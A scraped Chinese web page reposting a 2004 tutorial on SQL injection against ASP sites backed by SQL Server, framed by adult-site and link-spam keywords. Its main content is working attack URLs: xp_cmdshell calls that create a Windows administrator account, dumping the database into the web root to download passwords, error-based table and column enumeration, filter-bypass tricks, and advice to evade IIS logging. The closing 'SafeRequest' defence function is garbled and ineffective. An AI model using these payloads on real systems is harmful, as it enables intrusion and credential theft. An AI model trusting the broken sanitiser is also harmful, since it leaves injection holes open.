成人午夜激情影院,小视频免费在线观看,国产精品夜夜嗨,欧美日韩精品一区二区在线播放

當前位置:首頁>>開發(fā)編程>>ASP>>新聞內(nèi)容
ASP漏洞全接觸-高級篇
作者:佚名 發(fā)布時間:2004-5-12 13:01:09 文章來源:eNet硅谷動力
  看完入門篇和進階篇后,稍加練習,破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

  第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫

  SQLServer是一個功能強大的數(shù)據(jù)庫系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

  ①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個存儲過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

 、趆ttp://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。

  ③http://Site/url.asp?id=1 ;;and db_name()>0

  前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。

 、躧ttp://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

  這是相當狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

 、輍ttp://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

  前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

 、辢ttp://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

  從⑤拿到表名后,用object_id(‘表名’)獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

  以上6點是我研究SQLServer注入半年多以來的心血結(jié)晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開發(fā)本來就是相輔相成的吧。

  第二節(jié)、繞過程序限制繼續(xù)注入

  在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達到繞過程序限制的目的。

  在“SQL注入的一般步驟”一節(jié)中,我所用的語句,都是經(jīng)過我優(yōu)化,讓其不包含有單引號的;在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:

  簡單的如where xtype=’U’,字符U對應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

  第三節(jié)、經(jīng)驗小結(jié)

  1.有些人會過濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫,所以大家可以用selecT這樣嘗試一下。

  2.在猜不到字段名時,不妨看看網(wǎng)站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

  3.特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關(guān)介紹。

  4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

  5.猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。

  SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴格,或者某個參數(shù)忘記檢查導致。在這里,我給大家一個函數(shù),代替ASP中的Request函數(shù),可以對一切的SQL注入Say NO,函數(shù)如下:

  Function SafeRequest(ParaName,ParaType)
  --- 傳入?yún)?shù) ---
  ParaName:參數(shù)名稱-字符型
  ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

  Dim ParaValue
  ParaValue=Request(ParaName)
  If ParaType=1 then
  If not isNumeric(ParaValue) then
  Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
  Response.end
  End if
  Else
  ParaValue=replace(ParaValue,"","")
  End if
  SafeRequest=ParaValue
  End function

最新更新
·數(shù)據(jù)庫被掛馬的ASP處理方法
·ASP快速獲取遠程文件大小的方
·用ASP屏蔽迅雷和旋風下載工具
·解決ASP中傳送中文參數(shù)亂碼的
·ASP+AJAX做類似Google的搜索
·ASP的一個非常棒的Debug類(
·ASP中常用的服務(wù)器檢測源代碼
·優(yōu)化ASP中執(zhí)行SQL效率的五個
·ASP種msxml3.dll 800c0005錯
·掛QQ的ASP版本網(wǎng)頁源代碼
相關(guān)信息
·ASP漏洞全接觸-進階篇
·ASP漏洞全接觸-入門篇
畫心
愚愛
偏愛
火苗
白狐
畫沙
犯錯
歌曲
傳奇
稻香
小酒窩
獅子座
小情歌
全是愛
棉花糖
海豚音
我相信
甩蔥歌
這叫愛
shero
走天涯
琉璃月
Nobody
我愛他
套馬桿
愛是你我
最后一次
少女時代
灰色頭像
斷橋殘雪
美了美了
狼的誘惑
我很快樂
星月神話
心痛2009
愛丫愛丫
半城煙沙
旗開得勝
郎的誘惑
愛情買賣
2010等你來
我叫小沈陽
i miss you
姑娘我愛你
我們都一樣
其實很寂寞
我愛雨夜花
變心的玫瑰
犀利哥之歌
你是我的眼
你是我的OK繃
貝多芬的悲傷
哥只是個傳說
丟了幸福的豬
找個人來愛我
要嫁就嫁灰太狼
如果這就是愛情
我們沒有在一起
寂寞在唱什么歌
斯琴高麗的傷心
別在我離開之前離開
不是因為寂寞才想你
愛上你等于愛上了錯
在心里從此永遠有個你
一個人的寂寞兩個人的錯
主站蜘蛛池模板: 德格县| 崇明县| 延边| 宁国市| 晋江市| 新平| 杭锦旗| 东光县| 尚义县| 长沙县| 昌平区| 信阳市| 湖口县| 湟中县| 九江县| 肥城市| 海晏县| 衡阳市| 德兴市| 柳河县| 临澧县| 绥德县| 新和县| 清镇市| 上饶县| 宁化县| 高陵县| 仁怀市| 隆昌县| 望江县| 泽州县| 万宁市| 辽阳市| 宁明县| 观塘区| 吴忠市| 文水县| 新营市| 沙坪坝区| 翼城县| 神池县|